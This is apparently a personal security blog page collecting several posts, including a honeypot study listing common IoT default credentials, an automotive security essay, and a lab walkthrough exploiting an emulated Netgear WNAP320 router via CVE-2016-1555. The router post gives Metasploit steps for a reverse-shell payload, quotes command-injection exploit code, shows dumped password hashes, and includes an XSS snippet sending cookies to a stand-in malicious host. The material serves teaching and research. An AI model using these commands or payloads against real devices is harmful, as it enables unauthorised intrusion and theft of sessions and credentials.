maxine.dev

Projects

2026-09-09T00:00:00+00:00

Yff</a></h2>
I am learning Norwegian sign language. I wanted to keep a record of the signs that I learned, that was not present in Tegnbanken</a>. Hence, I started tinkering with this concept.
The Yff-app</a> mirrors Tegnbanken, aka. MineTegn, and gives me the possibilitty to record my own signs, organise them, and jot down notes. No data leaves the device and it functions offline. Backups may be exported and imported.
The PWA written in Svelte and Typescript is intended primarily for my personal use, but since others have also found it useful, I am leaving it publicly accesible. I am in no way endorsing widespread use of it. I am simply tired of Statped being underfunded.

Skrog</a></h2>
Behind the flickering logo on the webpage, is a well-oiled machinery configured in Komo.do</a>.
Before Komodo, I used Vercel. My infrastructure move to Norwegian soil, in its entirety (that includes domain name providers), was finalised in early October 2026. Since then, it has been chugging along and kept my cloud services stable, amongst them my personal library.

AWSY#1

2026-08-13T00:00:00+00:00

Welcome to the VERY FIRST "Are we secure yet"! AWSY for short! The segment where the answer is always no! Move over Google dorks, and make space for... good 'ol regex???

About

2026-08-05T00:00:00+00:00

Hi. I'm Maxine.

Pronouns are she/her</li>
Lesbian and intersectional feminist</li>
BSc Digital Forensics @ Noroff</li>
Sr. security R&D engineer @ SoftwareOne</li> </ul>
Currently reading</h2>
- The Tower of the Swallow by Andrzej Sapkowski</li> </ul>

I added some spite to my website

2026-02-23T00:00:00+00:00

I'm not gonna pretend my little blog is some treasure trove of groundbreaking insights. But it's mine. I wrote it. And the idea that some AI techbro can just hoover up everything I've ever typed into a markdown file, feed it into their training pipeline, and never even send me a courtesy email? That rubs me the wrong way.

So I did something about it. Several somethings, actually. None of them are perfect, and some are probably pointless. Spite is a valid engineering motivation, imo.

SSG Wars: A New Look

2026-01-15T00:00:00+00:00

I've migrated the entire site from Hugo to Zola, along with a complete visual overhaul using a new theme. I thought I'd document what I learned along the way.

Third attempt at developing 35mm film at home

2023-06-13T00:00:00+00:00

I have now (finally) developed my third roll of film at home. For some reason they were quite grainy this time, but I am at least happy with how they turned out.

Second attempt at developing 35mm film at home

2021-09-25T00:00:00+00:00

The second roll of film is now online!

Reviving an OKI Microline 320 Elite dot matrix printer (Part I)

2021-09-12T00:00:00+00:00

I have an unhealthy obsession with printing, typewriters and printers. The best cure for this horrible affliction is, of course, to stimulate it by bringing an ancient, but hardly forgotten, relic of our digital times back to life: the OKI Microline 320 Elite; for short ML320EL.

First attempt at developing 35mm film at home

2021-07-15T00:00:00+00:00

Five days ago I developed my first roll of film at home with mixed results, but I'm quite happy with them.

Towards using NoSQL for honeypots

2019-10-28T00:00:00+00:00

Abstract</h2>
While one might argue that the development and interest in honeypots have decreased, there seems to be novel interest in getting these systems to work at scale and in more automated manners. This study attempts to deliver a higher-level overview of the data generated of a period of time by a medium interaction honeypot running cowrie, a free and open-source honeypot that is currently very popular as well as regularly updated. The research is based on a dataset consisting of approximately 7.7 million events spanning almost four months. Some rudimentary tools were developed to transform the log files from a text-based origin to a MongoDB database, and to facilitate a performant and simple communication to the log files located on said database. Both quantitative and qualitative measurements were considered for this task. The research concludes with some suggestions relating to how this project can be taken further and how the data analysed from this project can give indications as to what areas should be further researched in separate studies.

Introduction</h2>
With a steady pace to move older infrastructure to the web comes a different set of problems that have to be considered. Documents that used to be locked into a cabinet where only a few managers had the key can now potentially be accessed if someone is using default credentials to "secure" the system. To assess the threat image honeypots may be used to, in various degrees of interaction, probe the internet for this information. This way, one may understand more of what one is up against and possibly even stop attacks before they do much harm, by the help of precursor attack analysis (Ahmad, 2015). The problem with this is that the amount of data generated by such systems can be overwhelming. Hence, we need novel systems better suited for the analysis of data at this scale. In this study, an attempt will be made to demonstrate the importance of efficient data handling through database systems, in the case of this task: MongoDB.

Data overview</h2>
Prior to any analysis done of the data, a lot of effort was put into planning the most efficient way the data could be queried and manipulated. Some of the technologies that were considered instead of MongoDB were SQLite and PostgreSQL. While these technologies could be used, as the data is relatively structured, the speed and ease that documents (a term used for fields or entities in MongoDB) can be either inserted or retrieved. ACID compliance was not of high importance either (Hammes, 2014). The full dataset was 8.1GB (7.7 million documents), with a date range from 30-03-2019 to 21-07-2019. What should be noted is that the data from the honeypot is not entirely continuous, meaning that some days between the start and end of the honeypot recording are missing. Such is mostly seen in 07-2019. After this, the range of the dataset could be determined, as the size of it was dependant on how performant the chosen technology was. Due to the success of the initial research in performant queries, the entirety of the cowrie dataset was possible to be analysed. Due to the size of the dataset, compromises had to be made as it was clear that some analysis that was planned would not be feasible. An analysis of all reported binaries would be beneficial, but it was deemed unfeasible due to the size of the dataset and the many limiting factors (such as low requests per second) of potential APIs (like VirusTotal). As most of the documents already contained geolocalisation data, the effort was put to structuring this data and presenting a higher-level perspective. Despite that, some tasks used a GeoLite2 database (MaxMind, 2019) to get geolocalisation data for some of the analysis.

Analysis</h2>
A graph was plotted showing attack attempts against units of time showing attempted attacks against the honeypot. This graph gives a clear insight into where the attacks accumulate depending on the time of the attack.

Therefore, it is evident that attacks usually happen in bursts, which is as expected as the majority of attempts (especially automated ones) will most likely occur in one continuous action.

Credentials</h2>

Usernames</h3>
Username No. of occurences

root 236070</li>
admin 15654</li>
enable\x00 9403</li>
shell\x00 9331</li>
(empty string) 3937</li>
default 2804</li>
support 1800</li>
user 1344</li>
guest 1064</li>
pi 852</li> </ul>
Passwords</h3>
Password No. of occurences

admin 163971</li>
system\x00 9451</li>
sh\x00 9091</li>
7ujMko0admin 7830</li>
xc3511 6556</li>
default 6391</li>
12345 6251</li>
vizxv 5553</li>
password 5294</li>
root 4745</li> </ul>
Username and password</h3>
username:password No. of occurences

root:admin 161519</li>
enable\x00:system\x00 9359</li>
shell\x00:sh\x00 9091</li>
root:7ujMko0admin 7166</li>
root:xc3511 6490</li>
root:vizxv 5488</li>
root:default 5407</li>
root:12345 4874</li>
root:password 4067</li>
root:hunt5759 3958</li> </ul>
Logins</h3>

Ports</h3>

Geolocation</h3>
While, as stated earlier, most documents contained geolocalisation data, some analysis was done using the GeoLite2 database (MaxMind, 2019) through a script written by Raidan Campbell (Campbell, 2019), but modified to work with MongoDB instead of CSV files.

Graph showing number of attack attempts relative to country.

Graph showing where bad IPs come from.
Results</h1>
Credentials</h2>
Default usernames and passwords is an old problem (Howard, 2005), which one might think would be gone by now. Alas, this is not the case (Ling, 2017) and the rampant use of them in the internet of things (IoT) devices is only part of an old habit that needs to cease to exist for security's sake. While many usernames and passwords seem trivial to guess, such as "root", "pi" and "admin", some are a bit less trivial as to why they are popular, like "xc3511". Many of these credentials even repeat themselves in other scientific journals (Hendriks, 2017). A recurring theme seems to deal with default credentials for the Mirai botnet (Van der Elzen, 2017). This should come as no surprise as default passwords in IoT devices have been exploited heavily in the recent times as its use is infamously widespread (Antonakakis, 2017), with Mirai being just one of the entities uses this "exploit". With all this considered, it is no wonder that the usage of default credentials is still a matter of research and debate (Knieriem, 2017). Interesting to note is that several of both usernames and passwords contained null-characters (\x00), while there a range of different answers to be found why this is so, one phenomenon described by Anthony Ferrara where combining BCrypt with other cryptographic functions can yield an application insecure to null-character based attacks.
Logins</h2>
According to the figure, one may see that many of the attacks are done from a small subset of the IP addresses, with one IP address (198.98.62.237) dominating in the number of attempted attacks. Compared to the total number of connections from this IP address, being 2546654, one can that the amount of successful logins dwarfs in comparison at 32718, which amounts to approximately 1.28% of the observed data.
Ports</h2>
With the number of attacks against the cowrie honeypot, namely the SSH and telnet services being emulated, one might think that the ports these services would be attacked at would be strongly represented; even in the first place. However, port 443 (HTTPS) and port 25 (SMTP) is the first and second most hit ports, respectively, as can be seen in the figure. Even more interesting is that most of the connections attempting to connect to the SMTP service are coming from a similar range of IP addresses (5.188.86.0/24 or 5.188.87.0/24) with very few other connections being made. Port 22 (SSH) is, in fact, the third most hit port, which one may reason that this is because these attacks are mostly (if not almost exclusively) automated with very little human interaction needed.
Binaries</h2>
Some URLs, which contains binaries, were defined as malware by VirusTotal in four out of 68 cases (VirusTotal, 2019a) for the one, and three out of 67 cases for another (VirusTotal, 2019b). There are other instances of either URLs or IP addresses which VirusTotal defines as malicious (VirusTotal, 2019c). While an analysis of all reported binaries would be beneficial, it was deemed unfeasible due to the size of the dataset and the many limiting factors (such as low requests per second) of potential APIs (like VirusTotal).
Geolocation</h2>
The US, Ireland, Singapore and Russia is seen to lead in the number of attacks that can be attributed to these countries compared to all other countries relative to connections. The distribution is, however, slightly different when it comes to sources that are deemed malicious by AlienVault from threatfeeds.io (Threatfeeds, 2019), as displayed on the figure. From the analysis of potential attackers, the US is still the largest. However, the countries after this are very different comparing to the total amounts of connections, namely China, South Korea, Taiwan and Japan. While these are indeed four separate countries, it is interesting that these connections are from different locations in so close geographical proximation to each other.
Threat intelligence</h2>
One of the larger, and frequently updated, datasets available from threatfeed.io is the "Alienvault IP Reputation" dataset which contains over 200000 IP addresses with a quantitative measurement of how suspicious it is deemed. Using this data, a script was written to determine which country had a higher output of the malicious activity. In the figure, it can be seen that some countries dominate the statistics, and those countries are not necessarily related to how the general activity coming from said countries.
Conclusion</h2>
It can be seen that a database can aid in the analysis of larger datasets. The performance enhancements are especially helpful when wanting a higher-level overview of the data without resorting to splitting one's data into several files, as more traditional methods using, for example, plain CSV files would dictate. From the data analysis, one can also see that the dangers of using default credentials are still a problem that is still serious, especially as IoT devices are often vulnerable to such attacks, according to research. Some of the analysis may also indicate that these attacks are highly automated and often associated with known malware such as Mirai.
Future work</h2>
Primarily, improvements upon already presented methods that would yield a lower-level and more complete analysis of the data would be beneficial. To achieve this, however, processing speeds would have to be improved dramatically in addition to even more performant hardware. Such performance enhancements would need to scale so that it could also cope with an even larger dataset. Multithreading and/or multiprocessing would be obvious candidates to achieve this task.
References</h2>
Ahmad, A., Maynard, S. B., & Shanks, G. (2015). A case analysis of information systems and security incident responses. International Journal of Information Management , 35 (6), 717– 723.
Antonakakis, M., April, T., Bailey, M., Bernhard, M., Bursztein, E., Cochran, J,... Kallitsis, M., et al. (2017). Understanding the mirai botnet. In 26th usenix security symposium (usenix security 17) (pp. 1093–1110).
Campbell, R. (2017). Retrieved from https://github.com/raidancampbell/Cowrie-Analyzer
Hammes, D., Medero, H., & Mitchell, H. (2014). Comparison of nosql and sql databases in the cloud. Proceedings of the Southern Association for Information Systems (SAIS), Macon, GA , 21–22.
Hendriks, C. (2017). Fixing the average internet user's iot vulnerabilities. Howard, M., LeBlanc, D., & Viega, J. (2005). 19 deadly sins of software security. Programming Flaws and How to Fix Them.
Knieriem, B., Zhang, X., Levine, P., Breitinger, F., & Baggili, I. (2017). An overview of the usage of default passwords. In International conference on digital forensics and cyber crime (pp. 195–203). Springer.
Ling, Z., Luo, J., Xu, Y., Gao, C., Wu, K., & Fu, X. (2017). Security vulnerabilities of internet of things: A case study of the smart plug system. IEEE Internet of Things Journal , 4 (6), 1899–1909.
MaxMind. (2019). Geolite2 free downloadable databases. Retrieved from https://dev.maxmind.com/geoip/geoip2/geolite2/
Threatfeeds. (2019). Free threat intelligence feeds - threatfeeds.io. Retrieved from https://threatfeeds.io/
Van der Elzen, I., & van Heugten, J. (2017). Techniques for detecting compromised iot devices. University of Amsterdam.
VirusTotal. (2019a). Virustotal. Retrieved from LINK</a>
VirusTotal. (2019b). Virustotal. Retrieved from LINK</a>
VirusTotal. (2019c). Virustotal. Retrieved from LINK</a>

Router exploitation with Metasploit

2019-06-07T00:00:00+00:00

This is a demonstration showing the feasibility of router exploitation through the use of the exploitation framework Metasploit while only having the firmware emulated, id est without running it on actual hardware. The steps, including code and commands in order to reproduce the exploitation, will be presented and discussed. The act of exploiting routers through the use of cross-site scripting XSS will also be briefly discussed, along with the impact that a seemingly trivial vulnerability can have upon a router in a Small Office Home Office (SOHO) environment. Then, in part two of this report, A case for open-source alternative solutions to current proprietary tools will also be made and its relation to the "Right to repair" movement and the implications that might have upon both the forensic situation and automotive security field as a whole.
Router exploitation</h2>
Small Office Home Office (SOHO) routers may be regarded as the one entryway into either a home or small office. Because of this, the security of this class of routers is essential.
While most routers are not necessarily connected to the internet in such a way that remote users may access them across the web, there is still the possibility that a user may have (mis)configured their router to make such possible. A more pressing security issue, however, is that remote users in close proximity to a vulnerable router may still exploit it.
Leverage and entrance vectors</h3>
Before a router can be exploited, the backdoor or exploit will have to be leveraged to the system. There are several routes that may be attempted depending on factors such as physical availability of a network for an attacker, feasibility
A very predictable way that an unauthenticated user may gain access to a router is through default credentials. While this is luckily getting more uncommon in recent times, default passwords should always be changed. It is a simple measure with great implications for security. Default credentials can be present on various part of a SOHO networking system, but the most likely places where such can be used as an attack vector are devices that give an attacker a convenient way in. In a SOHO network, such devices would most commonly be wireless routers for the first barrier of entry. These can house two potential places where default passwords are present: access to the wireless network itself and access to the router's administration interface. Any one of these things may severely increase the likelihood that a router may be compromised, and thus, the CIA principle is therefore broken as any data flowing through that device cannot be trusted in terms of either confidentiality, integrity or availability. However, as will be demonstrated, this is not the only vector that a malicious actor may take to compromise a router.
Backdooring</h3>
To prove the feasibility of backdooring a router, the firmware "WNAP320 Firmware Version 2.0.3" will be used (Netgear, 2020), which is utilised by the WNAP320 router by Netgear. The firmware was emulated through Firmware Analysis Toolkit (FAT) which created a virtual network that one may connect to. After the firmware was shown to be correctly emulating through a Nmap scan, exploitation could begin.
To backdoor this specific firmware, the first thing one may do is to look for a related "common vulnerabilities and exposures (CVEs) (Common Vulnerabilities, 2020) that can show the current possibilities for the exploitation of said firmware. For this exact firmware version, there are three vulnerabilities, each with their CVE identification number. However, there are only one with an available exploit to run through Metasploit, hence this is the CVE in question that will be used for demonstration purposes.
CVE-2016-1555</h4>
CVE-2016-1555 (Details, 2016), discovered by Dominic Chen (Chen, 2016), creator of FIRMADYNE, describes this vulnerability as a being a 10.0 on the CVSS score (Common Vulnerability Scoring System) which categorises it as an extremely serious vulnerability. Confidentiality impact, integrity impact, availability impact are regarded as "complete", meaning it fully violates the CIA principle. It also is regarded as being easy to exploit, hence its categorisation of access complexity as low, with a complete lack of authentication in order to exploit the vulnerability.
The exploit is prepared to be used in the exploit framework "Metasploit" which makes it easy both to demonstrate what is being done in this exploit, as well as doing so successfully. In Metasploit, the aforementioned CVE is called "exploit/linux/http/netgear_unauth_exec".
The following steps may be taken to backdoor the server.

Start msfconsole</li>
use exploit/linux/http/netgear_unauth_exec</li>
set RHOST <RouterIP></li>
set SRVHOST <Your server's IP> if your payload is not hosted on a different system</li>
set LHOST <Your IP></li>
set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp if you want meterpreter session</li>
exploit</li>
Payload is dropped through wget and a meterpreter session should start</li> </ol>
After these steps, a meterpreter session is established and hence a backdoor is now persistent in the router. To ensure that one has full access to the router, one may run theshellto get a system shell instead of the meterpreter one, and then proceed to check which user one is acting as with the UNIX command "whoami". The router's system shell should respond withroot, confirming that one does indeed have access to the entirety of the system. This can further be demonstrated by showing the content of the /etc/shadowfile which contains the passwords of the system. And, indeed, full system access has been achieved as the contents of the file reveal the passwords, albeit hashed. The file is shown truncated below.
root:$1$SY8xv/KM$/alQgidqWfIrXjfEygXJi/:10933:0:99999:7::: admin:$1$sWd7LBi.$22b3w4YMbBqRLBA5ptDac/:10933:0:99999:7:::</code></pre>
Why it works</h4>
In the vulnerability disclosure done by Dominic Chen, several Netgear devices had unauthenticated webpages, which in turn passed input from web forms directly to the commandline into several PHP files, namely 'boardData102.php', 'boardData103.php', 'boardDataJP.php', 'boardDataNA.php', and 'boardDataWW.php'. In other words, it is a relatively classic example of command injection.
In the Metasploit exploit written in Ruby (ide0x90, 2018), one may clearly see how the script establishes a test to see if the firmware is vulnerable by generating random text data as a fingerprinting measure.
# check for vulnerability existence def check fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present(...) res = execute_command("echo #{fingerprint}") # the raw POST response unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 return CheckCode::Safe end unless res.get_html_document.at('input').to_s.include? fingerprint return CheckCode::Safe end CheckCode::Vulnerable end</code></pre> If either the HTTP response code is 200 or the randomly generated text is returned in the same form, the vulnerability check is passed, and hence one may proceed to exploit the system through the following command:
# execute a command, or simply send a POST request def execute_command(cmd, opts = {}) vars_post = { 'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};", 'reginfo' => '1', 'writeData' => 'Submit' } send_request_cgi({ 'method' => 'POST', 'headers' => { 'Connection' => 'Keep-Alive' }, 'uri' => normalize_uri(target_uri.path), 'vars_post' => vars_post }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!") end # the exploit method def exploit #run a check before attempting to exploit unless [CheckCode::Vulnerable].include? check fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!' end execute_cmdstager(linemax: 2048) # maximum 130, end</code></pre> The aforementioned code constructs a POST requests which contains a MAC address specified (or randomised) by Metasploit, but along with it also the command injection as specified by the "cmd" positional argument. This data is packaged into thesend_request_cgi() method and is then run. From there, the script can call Metasploit and execute the command stager, thus handing back the control to Metasploit and subsequently receive the connection from the reverse shell. Reverse shell</h4> The final stage is to select one's payload of choice, and since the Ruby implementation's author recommended "linux/mipsbe/meterpreter/reverse_tcp", this is what will be used. This meterpreter shell allows for specifying which IP address the reverse TCP shell should be communicating with. It is therefore important to note here that this IP address is that of the virtualised network adapter created by FAT, not one's actual physical network adapter. Finally, one may run the exploit and deliver the payload to the router. [*] Started reverse TCP handler on 192.168.0.2: [*] Using URL: http://0.0.0.0:8080/g5opHCWiD2Q [*] Local IP: http://172.24.82.82:8080/g5opHCWiD2Q [*] Client 192.168.0.100 (Wget) requested /g5opHCWiD2Q [*] Sending payload to 192.168.0.100 (Wget) [*] Sending stage (1256712 bytes) to 192.168.0. [*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.100:54204) (...) [*] Command Stager progress - 100.00% done (115/115 bytes) [*] Server stopped. meterpreter > ls Listing: /home/www ================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100444/r--r--r-- 862 fil 2020-04-07 04:12:55 +0200 BackupConfig.php 100444/r--r--r-- 4385 fil 2020-04-07 04:12:55 +0200 UserGuide.html 100444/r--r--r-- 900 fil 2020-04-07 04:12:55 +0200 background.html 100444/r--r--r-- 3646 fil 2020-04-07 04:12:55 +0200 boardDataNA.php 100444/r--r--r-- 3638 fil 2020-04-07 04:12:55 +0200 boardDataWW.php 100444/r--r--r-- 393 fil 2020-04-07 04:12:55 +0200 body.php</code></pre> After getting the meterpreter shell, one may, amongst many other functions, traverse the directories, upload files and modify routing tables. As mentioned above, one may also enter into the system shell instead and carry out one's work with more traditional UNIX commands if one so wishes. 2.3 XSS</h3> Cross-site scripting (XSS) is a common tactic when it comes to injecting code into an entity using web technology. In its most basic form, an attacker can send a link which contains malicious code to a victim. This code is subsequently run either upon clicking the link or in some cases, by simply visiting a site which contains the malicious piece of code. A writeup specifically targeting the security of common SOHO routers was made by Craig Heffner and Derek Yap. In this writeup, it was found that SOHO routers had a general rather poor security. Amongst the vulnerabilities discovered in these routers were various kinds of XSS; both authenticated and unauthenticated (Heffner & Yap, 2009). Similarly, researchers from the Ruhr University Bochum in Germany investigated home routers with a specific focus on XSS, which proved, again, that home routers have generally poor protection against XSS attacks. The following is an example of an XSS attack adapted from an example by OWASP (OWASP, 2020): <SCRIPT type="text/javascript"> var adr = 'http:malicious.com/evil.php?cakemonster=' + escape(document.cookie); </SCRIPT></code></pre> In the example above, a web cookie is stolen by injecting a malicious script (being evil.php) into a valid website. Further scripting can then be done so that a malicious actor can steal the cookies of an ongoing web session, and hence compromise the session. Such code may be sent to a victim either through, a website, web application (ia. Electron applications) or their e-mail. Routers, being the central hub for the flow of data, are therefore vital to secure. And given the aforementioned research into the generally poor security that plagues these devices, more research and attention is needed to secure the SOHO networking environment. Conclusion</h2> As has been shown, it is fairly trivial to exploit a router, either through the use of existing tools such as Metasploit or though the vast number of unescaped information that will eventually lead to vulnerabilities such as XSS. The principle for this topic is clear: no matter what the device is, the price to pay for not having secure devices can be grave, even if the device belongs to a small home network. References</h2> Chen, D. (2016). D-link / netgear firmadyne command injection / buffer overflow. Retrieved from https://packetstormsecurity.com/files/135956/D-Link-Netgear-FIRMADYNE-Command-Injection-Buffer-Overflow.html</a> Common Vulnerabilities. (2020). Cve - common vulnerabilities and exposures. Retrieved from https://cve.mitre.org/</a> Details, C. (2016). Vulnerability details : Cve-2016-1555. Retrieved from https://www.cvedetails.com/cve/CVE-2016-1555/</a> Heffner, C., & Yap, D. (2009). Security vulnerabilities in soho routers. ide0x90. (2018). Metasploit module for cve-2016-1555. Retrieved from https://github.com/ide0x90/cve-2016-1555/</a> Netgear. (2020). Netgear firmware download - wnap320v2.0.3. Retrieved from http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip</a> OWASP. (2020). Cross site scripting (xss). Retrieved from https://owasp.org/www-community/attacks/xss/</a>
Automotive security in broad strokes 2019-04-07T00:00:00+00:00 Along with most of our devices, cars have also become "smarter" and more connected. With this, like with any other device that introduces more functionality, there is a potential to exploit these functions. Hacking automotive devices can be a very alienating experience compared to other devices. For example, while an internet-connected fire alarm might seem radically different in design to an internet-connected lightbulb, they function very similarly in terms of the underlying technology that makes them connected. Indeed, the aforementioned IoT devices are likely to use the MQTT protocol likely on top of TCP/IP; a design which is likely to be familiar to many. One way which makes automotive security radically different is the issue of communication. Indeed, many of the protocols that are commonly used in the automotive industry such as Controller Area Network (CAN) and Local Interconnect Network (LIN). However, more widely used protocols are also used in vehicles such as I2C and SPI. A common theme between all these technologies is that they are fairly low level with efficiency as an aim, and as will be demonstrated, also have to be interfaced with on a low level. Hence, a particular (and to many a novel) set of skills are required to efficiently assess these automotive systems. Previous security issues</h2> At the time where cars were not connected to the internet (or any other wireless protocol for that matter), one could safely assume that the on-board electronics in the car were relatively safe. That is unless a proper attempt at getting access to the internals of the car (such as the ECU) (Wenzel, 2017). These systems can be in today's standards often be regarded as very rudimentary, with some of their only functions being limited to automobile emissions and to calculate optimal fuel usage. One may say that the danger of having an exploited automotive system was not likely at this point bin time, a far greater number of things could be done through other means, such as manually disabling the brakes. With the advent of wirelessly connected automotive systems, however, physical access is not necessarily required to exploit said systems. Current security issues</h2> Wireless connectivity</h3> There are examples of vehicles being exploited in recent years. In July of 2015, the car "Jeep Cherokee" was remotely hacked by Charlie Miller and Chris Valasek by wirelessly accessing its entertainment system. This allowed them to send commands to the car's internal instruments that controlled the brakes, transmission, steering wheel as well as various dashboard functions. According to the aforementioned researchers, the vehicle in question behaved more like akin to a smartphone than one would expect a car to behave. As such, it was wide open to be exploited much like a modern smartphone. In the scenario of the aforementioned car, it was also possible to connect the exploited device to the internet as it the car connected with the driver's mobile network shared through their smartphone's Wi-Fi hotspot (Pagliery, 2015). Similarly, researchers at the University of California, San Diego, demonstrated the feasibility of exploiting a vehicle by the manufacturer Chrystler by using a gadget commonly utilised by insurance firms to monitor the lessee's speed and location. Through creating malicious SMS messages to this gadget, commands were sent to the CAN bus of the can which subsequently could toggle functions such as brakes or windscreen wipers(Pagliery, 2015). Tesla's Model X experienced a vulnerability during the summer of 2017. This vulnerability enabled researchers to remotely take control over the brakes of the Model X whilst also opening the trunk, doors as well as changing settings on the infotainment system of the vehicle. Tesla responded to this vulnerability with a security update (Cimpanu, 2017). As demonstrated by these examples, we can see that wireless connectivity is a common theme where vulnerabilities happen. With that in mind, as well as considering that this development does not seem to stagnate, investing in wireless security is paramount. In addition, as will be discussed, self-driving vehicles are expected to become more common. In this future scenario, one may expect that wireless automotive security is the most important issue to investigate. One proposed technology to be applied to the car of tomorrow is vehicular ad-hoc networks (VANETs). These networks, first mentioned in 2001 (Toh, 2001), are supposed to function as small spontaneous networks that connect vehicles with other vehicles, but also roadside communication. While not technically formalised internationally (regional differences apply), in the EU the com- munication technology uses the frequency range 5 875 - 5 905 MHz per the European Commission Decision 2008/671/EC (Series, 2012). Standards like these are important as it focuses the collective research effort towards one single technology. Research in the field of VANETs is well underway, however, and current research is especially invested in the Sybil attack (Kumar, Chauhan, Kumar, Chand, & Khan, 2020). The Sybil attack is the act of subverting a reputation system in a network by creating a plethora of fake identities. In other words, it undermines the authority of the system, potentially even take control of it. A very similar attack has happened to other areas of emerging technologies, namely the 51 per cent attack against blockchain systems (Bastiaan, 2015) which more or less achieves the same end result: depreciating value of the network as a decentralised authority. Modern vehicles usually have some form of keyless entry, usually by a remote control which also acts as a key to start the engine. (Bacchus, Coronado, & Gutierrez, 2017). These types of keys have been a focus point of researchers when trying to exploit consumer vehichles. Mobile software integration</h3> Having vehicles wirelessly connect to our mobile devices introduces an entirely novel attack surface. Some newer cars, for example, Tesla's cars, have its own dedicated mobile applications so that remote commands and settings might be issued by the user wirelessly (Tesla, 2020). With its rise in popularity, mobile devices have received increased attention from malicious actors (Tam, Feizollah, Anuar, Salleh, & Cavallaro, 2017) and with it the greater likelihood that it is the attack surface of choice for many. Therefore, it is vital that attention is directed towards not only the fact that a vehicle connects wirelessly but to what it connects to. One may imagine the scenario where the application for remotely accessing one's Tesla's configuration has been reverse-engineered and malicious code has been deployed unto a victim's device. The malicious code can in this case theoretically traverse the connection between the mobile application and become persistent also within the vehicle itself. Hence, one now has two devices that are compromised, but one device with far more likelihood of causing fatalities, id est the automobile. Forensic value</h2> The potential for gathering evidence from "smart cars" are tremendous. It is estimated that an average "smart car" usually generates approximately 25GB of data per hour (O'Neill, 2017) which of course gives digital forensics investigators and researchers alike a lot of data. Indeed, this data is not limited by GPS data, but also data collected from the car's sensors, its infotainment system and its connectivity with a smartphone. It is not difficult to imagine that this data is far more complete and diverse than what could be recovered from earlier vehicles' black boxes (Larson, 2018). Important to note is that this data is generated regardless of which person is looking at it, be it an investigator or malicious actor. Therefore, with that in mind, this humongous source of data must be protected to the utmost degree. There are commercial efforts towards automotive forensics, one of them being Berla (Berla, 2020). While the price of Berla's forensic solution kit is not public, one may expect that it falls in line with the general "professional pricing" of forensic software aimed at other devices. In general, Berla is very secretive about what the software actually is able to do and how much data its solution can actually provide (O'Neill, 2017). Hence, these tools are not very accessible to the public, something that will be discussed. In a very similar theme as with specific tools for phones with specific operative systems, "smart cars" also have their fair share of custom made software solutions and procedures to tackle the forensic aspects of a vehicle. An example of this is the recent research done into the low-level data recovery from Volkswagen cars and their entertainment systems (Jacobs, Choo, Kechadi, & Le-Khac, 2017).From this research, it is clear how much dedicated effort towards one particular system is needed togather data. Hence, more universal solutions to the growing number and diversification of "smart cars" is needed. Researchers insist that learning from the past forensic analysis is vital when it comes to forensic preparedness are an essential part when venturing into the unknown lands of futuristic solutions such as "smart vehicles" in a "smart city" (Baig et al., 2017). Towards secure roads</h2> One undeniable fact is that the rate automation of our automotive vehicles is not slowing down. There is a lot of both capital and research invested into a future where humans are not the one turning the steering wheels and where cars are merely an interconnected mesh-like network that conveniently coincides with an equally probable (if not required) prediction of "smart cities". There is no doubt that self-driving cars are not already comparable to humans at driving, but in many respects, they are indeed better (Teoh & Kidd, 2017). This implication puts those against self-driving cars (likely for valid and various reasons) in a very particular ethical dilemma: is the overall safety of the population more important than things like personal freedom to drive one's own car; to be responsible for one's own actions? Another dilemma is either the centralisation or decentralisation of trust that is inherently an issue with large networks. These issues bleed easily into questions one have to consider concerning how to approach the field of automated and AI automotive security. Some of these wireless technologies that are meant to enable self-driving cars to be truly autonomous are vehicle-to-vehicle (V2V) and vehicular ad-hoc networks. As such, these technologies are heavily researched now, especially for any potential inherent vulnerability that such technologies might bring with them (Kumar et al., 2020). Concerning the not so distant future of forensics, there are also novel techniques of gathering forensic data (Obimbo, n.d.). As mentioned, many tools to diagnose modern cars are inaccessible to the public for several reasons. However, an open-source solution is also being developed, as a response to the very costly, locked-down and proprietary solutions (Greenberg, 2015) proposed by large corporations. Efforts like these democratise security by making sure everyone can have access to it, even without connection to the car manufacturer or an external security company. Similarly, it also decentralises security by making sure that no one large actor is able to control the narrative of the discussion; possibly refrain from disclosing, or even selling, potential vulnerabilities in a vehicle. This open- source mentality is strongly intertwined with the "Right to repair" movement that is very relevant at the time of writing (Svensson et al., 2018). As car get less mechanical and more intertwined with computers, having both the right and the means to repair one's own vehicle is become much more vital to ensure personal freedom over the items in one's possession, and that said items are doing what the manufacturer is claiming they should be doing; nothing more, nothing less. In the realm of self-driving cars, there has also been done great steps towards making self-driving cars a viable alternative to driving the car oneself. As the cornerstone of a self-driving car's existence might be attributed to wireless technologies, these wireless are expected to be the focus of malicious actors for the purposes of exploitation. Therefore, enough attention must be given to these areas before they become an actual problem. Conclusion</h2> With the expanding market of "smart vehicles" and general automotive automation, the possibility of accidents if such instruments should be compromised must be kept in mind. The data that these fast-moving devices generate can prove to be a valuable resource, as long as the people that have said information are the right people with pure intentions. The unifying principle for the cases mentioned is clear: no matter what the device is, the price to pay for not having secure devices can be grave. Whether there is a complete violation of the CIA principle or a "smart car" exploit that leads to the fatal accident of a victim, both examples signifies their importance in their own right and are both worthy of the attention from both established researchers, digital forensic investigators and hobbyist alike. In a future where everything is moving towards "smart", we have to be wise in our decisions concerning security. References</h2> Bacchus, M., Coronado, A., & Gutierrez, M. A. (2017). The insights into car hacking. EEL. Baig, Z. A., Szewczyk, P., Valli, C., Rabadia, P., Hannay, P., Chernyshev, M,... Sansurooah, K., et al. (2017). Future challenges for smart cities: Cyber-security and digital forensics. Digital Investigation , 22 , 3–13. Bastiaan, M. (2015). Preventing the 51 percent-attack: A stochastic analysis of two phase proof of work in bitcoin. Available at (http://referaat.cs.utwente.nl/conference/22/paper/7473/preventingthe-51-attack-a-stochasticanalysis-oftwo-phase-proof-of-work-in-bitcoin.pdf. Berla. (2020). Berla vehicle forensics. Retrieved from https://berla.co/ Cimpanu, C. (2017). Chinese researchers hack tesla model x in impressive video. Retrieved from https://www.bleepingcomputer.com/news/security/chinese-researchers-hack-tesla-model-x-in-impressive-video/ Greenberg, 